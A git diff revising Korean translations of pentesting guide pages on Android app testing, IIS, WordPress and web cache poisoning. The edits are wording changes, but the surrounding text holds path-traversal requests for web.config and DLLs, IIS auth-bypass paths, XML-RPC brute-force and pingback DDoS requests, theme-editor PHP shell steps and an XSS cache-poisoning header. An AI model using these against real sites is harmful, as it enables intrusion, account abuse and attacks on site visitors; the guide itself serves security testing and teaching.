![](<../../../images/image (1079).png>) 먼저 "_msg.what_" 안의 데이터를 전송한 다음, "_msg.arg1_" 및 "_msg.arg2_"를 전송합니다. **어떤 정보가 사용되고 있는지** 코드 안에서 확인해야 합니다.\ -`--extra` 옵션을 사용하면 "_msg.replyTo_"에 의해 해석되는 내용을 전송할 수 있으며, `--bundle-as-obj`를 사용하면 제공된 세부정보로 객체를 생성합니다. +`--extra` 옵션을 사용하면 "_msg.replyTo_"에 의해 해석되는 무언가를 전송할 수 있으며, `--bundle-as-obj`를 사용하면 제공된 세부정보로 객체를 생성합니다. -다음 예시에서: +다음 예제에서: - `what == 2354` - `arg1 == 9234` @@ -181,7 +181,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m **Android 기본 정보 섹션에서 Broadcast Receiver가 무엇인지 확인할 수 있습니다**. -이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. **`onReceive`** 함수에 특별히 주의하세요. 이 함수는 수신된 메시지를 처리합니다. +이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. 수신된 메시지를 처리할 **`onReceive`** 함수에 특별한 주의를 기울이세요. #### **모든** broadcast receivers 감지 ```bash @@ -228,7 +228,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo ``` ### Is debuggeable -생산 APK는 절대 디버깅 가능해서는 안 됩니다.\ +생산용 APK는 절대 디버깅 가능해서는 안 됩니다.\ 이것은 **자바 디버거**를 실행 중인 애플리케이션에 연결하고, 런타임에서 검사하고, 중단점을 설정하고, 단계별로 진행하며, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. [InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code. 애플리케이션이 디버깅 가능할 때, 매니페스트에 나타납니다: diff --git a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index 20e30a625..4528df9ac 100644 --- a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -4,7 +4,7 @@ # 자동 -도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경 사항을 **자동으로** 수행하며, 인증서 핀닝을 비활성화합니다(있는 경우). +도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경을 **자동으로** 수행하며, 인증서 핀닝을 비활성화합니다(있는 경우). # 수동 @@ -25,7 +25,7 @@ ![](../../images/img11.png) 이제 **res/xml** 폴더로 들어가 network_security_config.xml이라는 파일을 생성하거나 수정하고 다음 내용을 추가합니다: -```markup +```html @@ -41,6 +41,6 @@ ![](../../images/img12.png) -마지막으로, **새 애플리케이션에 서명해야 합니다**. [서명하는 방법을 배우려면 이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽으세요](smali-changes.md#sing-the-new-apk). +마지막으로, **새 애플리케이션에 서명해야** 합니다. [서명하는 방법을 배우려면 이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽으세요](smali-changes.md#sing-the-new-apk). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 5d8ad25fa..3aef4dc63 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -59,7 +59,7 @@ iisfinal.txt 전체 작성 내용은 다음에서 확인하세요: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] -> 요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 이를 다운로드할 수 있습니다.\ +> 요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 개의 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 이를 다운로드할 수 있습니다.\ > **다운로드한 Dlls**에서 **새로운 namespaces**를 찾아 접근하고 web.config 파일을 얻어 새로운 namespaces와 assemblyIdentity를 찾을 수 있습니다.\ > 또한, **connectionstrings.config** 및 **global.asax** 파일에는 흥미로운 정보가 포함될 수 있습니다. @@ -67,8 +67,8 @@ iisfinal.txt ### **이진 파일 탐색** -**web.config** 파일에 접근하는 예는 아래에 나와 있습니다: -```markup +**web.config** 파일에 접근하는 예시는 아래와 같습니다: +```html GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` @@ -89,20 +89,20 @@ Host: example-mvc-application.minded ### **네임스페이스 및 Web.Config** MVC 애플리케이션은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스에 대한 추가 **web.config 파일**도 정의합니다. 이는 다른 **web.config**를 다운로드 요청하는 예로 보여집니다: -```markup +```html GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` ### **DLL 다운로드** -사용자 정의 네임스페이스의 언급은 /bin 디렉토리에 있는 "**WebApplication1**"이라는 DLL을 암시합니다. 그에 따라 **WebApplication1.dll**을 다운로드하는 요청이 표시됩니다: -```markup +사용자 정의 네임스페이스의 언급은 /bin 디렉토리에 있는 "**WebApplication1**"이라는 DLL을 암시합니다. 그에 따라 **WebApplication1.dll**을 다운로드하라는 요청이 표시됩니다: +```html GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` 이것은 /bin 디렉토리에 **System.Web.Mvc.dll** 및 **System.Web.Optimization.dll**과 같은 다른 필수 DLL의 존재를 시사합니다. -DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 이 파일들은 /bin 폴더의 다른 DLL에 대한 특정 구성 및 참조를 포함하고 있습니다. 예를 들어, **/Minded/Views/web.config**에 대한 요청은 다른 DLL **WebApplication1.AdditionalFeatures.dll**의 존재를 나타내는 구성 및 네임스페이스를 드러낼 수 있습니다. +DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 이 파일들은 /bin 폴더에 있는 다른 DLL에 대한 특정 구성 및 참조를 포함할 수 있습니다. 예를 들어, **/Minded/Views/web.config**에 대한 요청은 다른 DLL인 **WebApplication1.AdditionalFeatures.dll**의 존재를 나타내는 구성 및 네임스페이스를 드러낼 수 있습니다. ### 일반 파일 @@ -192,7 +192,7 @@ C:\xampp\tomcat\conf\server.xml 서버가 **Host 헤더 내에서 올바른 도메인 이름을 받지 못했다는 의미**입니다.\ 웹 페이지에 접근하기 위해 제공된 **SSL 인증서**를 확인해 볼 수 있으며, 그 안에서 도메인/서브도메인 이름을 찾을 수 있을지도 모릅니다. 만약 없다면, **VHosts를 무작위로 시도**하여 올바른 것을 찾아야 할 수도 있습니다. -## 살펴볼 가치가 있는 오래된 IIS 취약점 +## 확인할 가치가 있는 오래된 IIS 취약점 ### Microsoft IIS 물결 문자 “\~” 취약점/기능 – 짧은 파일/폴더 이름 노출 @@ -211,9 +211,9 @@ C:\xampp\tomcat\conf\server.xml ### 기본 인증 우회 -**IIS 7.5**의 기본 인증을 **우회**하려면 다음에 접근해 보십시오: `/admin:$i30:$INDEX_ALLOCATION/admin.php` 또는 `/admin::$INDEX_ALLOCATION/admin.php` +**IIS 7.5**의 기본 인증을 **우회**하려면 다음에 접근해 보세요: `/admin:$i30:$INDEX_ALLOCATION/admin.php` 또는 `/admin::$INDEX_ALLOCATION/admin.php` -이 **취약점**과 마지막 취약점을 **혼합**하여 새로운 **폴더**를 찾고 **인증을 우회**할 수 있습니다. +이 **취약점**과 마지막 취약점을 **혼합**하여 새로운 **폴더**를 찾고 인증을 **우회**할 수 있습니다. ## ASP.NET Trace.AXD 활성화된 디버깅 @@ -237,11 +237,11 @@ ASPXAUTH는 다음 정보를 사용합니다: - **`decryptionKey`** (문자열): 복호화에 사용할 헥스 인코딩된 키. 그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**합니다. 따라서 ASPXAUTH 쿠키를 사용하는 **동일한 플랫폼**의 웹을 찾고, 공격 대상 서버에서 **가짜 사용자로 가장하고자 하는 사용자의 이메일로 사용자 계정을 생성**하면, **두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 가장할 수 있습니다.**\ -이 공격은 이 [**작성물**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공했습니다. +이 공격은 이 [**작성물**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공적으로 수행되었습니다. ## 캐시된 비밀번호로 IIS 인증 우회 (CVE-2022-30209) -[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, 비밀번호 해시가 이미 **캐시**에 있는 키와 일치하는 공격자는 해당 사용자로 로그인할 수 있습니다. +[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, 비밀번호 해시가 **캐시**에 이미 있는 키에 해당하는 공격자는 해당 사용자로 로그인할 수 있습니다. ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 10e2430a9..e1844a4e4 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -91,7 +91,7 @@ curl -s -I -X GET http://blog.example.com/?author=1 ``` 응답이 **200** 또는 **30X**인 경우, id가 **유효**하다는 의미입니다. 응답이 **400**인 경우, id가 **유효하지** 않다는 의미입니다. -- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 할 수도 있습니다: +- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 시도할 수 있습니다: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` @@ -103,7 +103,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL 또한 **/wp-json/wp/v2/pages**는 IP 주소를 유출할 수 있습니다. -- **로그인 사용자 이름 열거**: **`/wp-login.php`**에 로그인할 때 **메시지**는 **사용자 이름이 존재하는지 여부에 따라 다릅니다**. +- **로그인 사용자 이름 열거**: **`/wp-login.php`**에 로그인할 때 **메시지**는 **사용자 이름이 존재하는지 여부**에 따라 **다릅니다**. ### XML-RPC @@ -112,7 +112,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL 활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 접근하고 이 요청을 보내십시오: **확인** -```markup +```html system.listMethods @@ -123,7 +123,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **자격 증명 무차별 대입** **`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다: -```markup +```html wp.getUsersBlogs @@ -139,7 +139,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ![](<../../images/image (721).png>) 올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 나타납니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) -```markup +```html wp.uploadFile @@ -174,13 +174,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **2FA 우회** -이 방법은 프로그램을 위한 것이지 인간을 위한 것이 아니며, 오래된 방법이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다. +이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방법으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다. **DDoS 또는 포트 스캐닝** -목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\ -이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접속**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함). 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트도 지정할 수 있습니다). -```markup +목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로든 보낼 수 있습니다.\ +이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접속**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트든 지정할 수 있습니다). +```html pingback.ping @@ -196,7 +196,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL 이 방법을 악용하여 DDoS를 유발하는 방법을 배우려면 이전 섹션에서 **`system.multicall`**의 사용을 살펴보세요. **DDoS** -```markup +```html pingback.ping @@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## 비트를 덮어써서 접근하기 -실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다. +실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 워드프레스 파일의 비트 하나를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -250,11 +250,11 @@ return new WP_Error( 외관 → 테마 편집기 → 404 템플릿 (오른쪽) -php 쉘을 위한 내용을 변경합니다: +php 셸을 위한 내용을 변경합니다: ![](<../../images/image (384).png>) -업데이트된 페이지에 어떻게 접근할 수 있는지 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +업데이트된 페이지에 어떻게 접근할 수 있는지 인터넷에서 검색합니다. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -285,7 +285,7 @@ to get a session. ![](<../../images/image (70).png>) -아마도 이것은 겉보기에는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 셸을 볼 수 있습니다: +아마도 이것은 겉으로 보기에는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 셸을 볼 수 있습니다: ![](<../../images/image (462).png>) @@ -293,18 +293,18 @@ to get a session. ![](<../../images/image (1006).png>) -### Uploading and activating malicious plugin +### 악성 플러그인 업로드 및 활성화 -이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것입니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다: +이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것을 포함합니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다: -1. **Plugin Acquisition**: 플러그인은 Exploit DB와 같은 출처에서 얻습니다 [**여기**](https://www.exploit-db.com/exploits/36374). -2. **Plugin Installation**: +1. **플러그인 획득**: 플러그인은 Exploit DB와 같은 출처에서 얻습니다 [**여기**](https://www.exploit-db.com/exploits/36374). +2. **플러그인 설치**: - WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 이동합니다. - 다운로드한 플러그인의 zip 파일을 업로드합니다. -3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다. -4. **Exploitation**: -- "reflex-gallery" 플러그인이 설치되고 활성화되면 취약한 것으로 알려져 있어 악용할 수 있습니다. -- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하여 meterpreter 세션을 설정할 수 있으며, 이를 통해 사이트에 대한 무단 접근을 허용합니다. +3. **플러그인 활성화**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다. +4. **악용**: +- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용할 수 있습니다. +- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 대한 무단 접근을 허용합니다. - 이는 WordPress 사이트를 악용하는 많은 방법 중 하나일 뿐입니다. 내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다. @@ -315,7 +315,7 @@ to get a session. - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress Versions 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:** - _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ 사용자 정의 플러그인(백도어)을 WordPress에 업로드합니다. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ WordPress에 사용자 정의 플러그인(백도어)을 업로드합니다. - _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다. - _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다. - _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마에 대한 사용자 정의 익스플로잇. @@ -345,14 +345,14 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있도록 만듭니다.** +**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있게 만듭니다.** > [!CAUTION] -> 또한, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다. +> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다. - **REST API** -`register_rest_route` 함수를 사용하여 wordpress에서 REST API를 등록하여 함수를 노출하는 것도 가능합니다: +`register_rest_route` 함수를 사용하여 워드프레스에서 REST API를 등록하여 함수를 노출하는 것도 가능합니다: ```php register_rest_route( $this->namespace, '/get/', array( @@ -364,15 +364,15 @@ $this->namespace, '/get/', array( ``` `permission_callback`는 주어진 사용자가 API 메서드를 호출할 수 있는 권한이 있는지 확인하는 함수에 대한 콜백입니다. -**내장된 `__return_true` 함수를 사용하면 사용자 권한 확인을 간단히 건너뜁니다.** +**내장된 `__return_true` 함수를 사용하면 사용자 권한 검사를 단순히 건너뜁니다.** -- **php 파일에 직접 접근** +- **PHP 파일에 직접 접근** 물론, WordPress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로도 트리거되는 취약한 기능을 노출하는 경우, 모든 사용자가 이를 악용할 수 있습니다. ## WordPress 보호 -### 정기 업데이트 +### 정기적인 업데이트 WordPress, 플러그인 및 테마가 최신 상태인지 확인하십시오. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하십시오: ```bash @@ -392,7 +392,7 @@ add_filter( 'auto_update_theme', '__return_true' ); - 기본 **admin** 사용자 제거 - **강력한 비밀번호**와 **2FA** 사용 -- 주기적으로 사용자 **권한** 검토 +- 주기적으로 **사용자 권한** 검토 - 무차별 대입 공격을 방지하기 위해 **로그인 시도 제한** - **`wp-admin.php`** 파일 이름 변경 및 내부 또는 특정 IP 주소에서만 접근 허용. diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 573e263e9..0b508e378 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -11,12 +11,12 @@ ## 캐시 오염 -캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 해당 페이지를 방문하는 사용자에게만 제공됩니다. +캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 페이지를 방문하는 사용자에게만 제공됩니다. 캐시 오염 공격의 실행에는 여러 단계가 포함됩니다: -1. **키가 없는 입력 식별**: 이는 요청이 캐시되기 위해 필수적이지는 않지만, 서버가 반환하는 응답을 변경할 수 있는 매개변수입니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 악용될 수 있으므로 중요합니다. -2. **키가 없는 입력 악용**: 키가 없는 입력을 식별한 후, 다음 단계는 이러한 매개변수를 잘못 사용하여 서버의 응답을 공격자에게 유리하게 수정하는 방법을 파악하는 것입니다. +1. **키가 없는 입력 식별**: 이러한 매개변수는 요청이 캐시되기 위해 필요하지 않지만, 서버가 반환하는 응답을 변경할 수 있습니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 악용될 수 있으므로 중요합니다. +2. **키가 없는 입력 악용**: 키가 없는 입력을 식별한 후, 다음 단계는 이러한 매개변수를 잘못 사용하여 공격자에게 유리한 방식으로 서버의 응답을 수정하는 방법을 파악하는 것입니다. 3. **오염된 응답이 캐시되도록 보장**: 마지막 단계는 조작된 응답이 캐시에 저장되도록 보장하는 것입니다. 이렇게 하면 캐시가 오염된 동안 영향을 받는 페이지에 접근하는 모든 사용자가 오염된 응답을 받게 됩니다. ### 발견: HTTP 헤더 확인 @@ -25,7 +25,7 @@ ### 발견: 캐시 오류 코드 -응답이 캐시에 저장되고 있다고 생각된다면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고, **응답이 400 상태 코드**라면 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다). +응답이 캐시에 저장되고 있다고 생각된다면, **잘못된 헤더로 요청을 보내** 보십시오. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다). 더 많은 옵션은 다음에서 찾을 수 있습니다: @@ -33,12 +33,12 @@ cache-poisoning-to-dos.md {{#endref}} -하지만 **때때로 이러한 상태 코드가 캐시되지 않을 수** 있으므로 이 테스트는 신뢰할 수 없을 수 있습니다. +그러나 **때때로 이러한 종류의 상태 코드는 캐시되지 않기 때문에** 이 테스트가 신뢰할 수 없을 수 있습니다. ### 발견: 키가 없는 입력 식별 및 평가 -[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용하여 **응답을 변경할 수 있는 매개변수와 헤더를 브루트 포스**할 수 있습니다. 예를 들어, 페이지가 클라이언트가 그곳에서 스크립트를 로드하도록 지시하기 위해 `X-Forwarded-For` 헤더를 사용할 수 있습니다: -```markup +[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용하여 **응답을 변경할 수 있는 매개변수와 헤더를 브루트 포스**할 수 있습니다. 예를 들어, 페이지가 클라이언트가 스크립트를 로드하도록 `X-Forwarded-For` 헤더를 사용하고 있을 수 있습니다: +```html ``` ### 백엔드 서버에서 유해한 응답 유도하기 @@ -64,7 +64,7 @@ cache-poisoning-to-dos.md 헤더 `X-Forwarded-For`가 응답에 정화되지 않고 반영되고 있습니다.\ 기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다: -```markup +```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" @@ -79,17 +79,17 @@ cache-poisoning-to-dos.md ### 쿠키 처리 취약점을 악용하기 위한 웹 캐시 오염 사용 -쿠키는 페이지의 응답에 반영될 수도 있습니다. 이를 악용하여 예를 들어 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있을 것입니다. -```markup +쿠키는 페이지의 응답에 반영될 수도 있습니다. 예를 들어, 이를 악용하여 XSS를 유발할 수 있다면, 악성 캐시 응답을 로드하는 여러 클라이언트에서 XSS를 악용할 수 있습니다. +```html GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -취약한 쿠키가 사용자에 의해 많이 사용되는 경우, 정기적인 요청이 캐시를 정리할 것임을 유의하십시오. +취약한 쿠키가 사용자에 의해 많이 사용되는 경우, 일반 요청이 캐시를 정리할 것입니다. ### 구분 기호, 정규화 및 점을 사용하여 불일치 생성하기 -확인하십시오: +확인하세요: {{#ref}} cache-poisoning-via-url-discrepancies.md @@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md ### API 키를 훔치기 위한 경로 탐색을 통한 캐시 오염 -[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것이 Cloudflare가 URL을 정규화하지 않고 캐시되기 때문에, 요청이 웹 서버에 도달했을 때 정규화가 이루어졌습니다. +[**이 글에서는**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`와 같은 URL로 OpenAI API 키를 훔칠 수 있었던 방법을 설명합니다. `/share/*`와 일치하는 모든 것은 Cloudflare가 URL을 정규화하지 않고 캐시되며, 이는 요청이 웹 서버에 도달했을 때 수행되었습니다. 이것은 다음에서 더 잘 설명됩니다: @@ -108,7 +108,7 @@ cache-poisoning-via-url-discrepancies.md ### 웹 캐시 오염 취약점을 악용하기 위한 여러 헤더 사용 때때로 **캐시를 악용하기 위해 여러 개의 키가 없는 입력을 악용해야** 할 필요가 있습니다. 예를 들어, `X-Forwarded-Host`를 귀하가 제어하는 도메인으로 설정하고 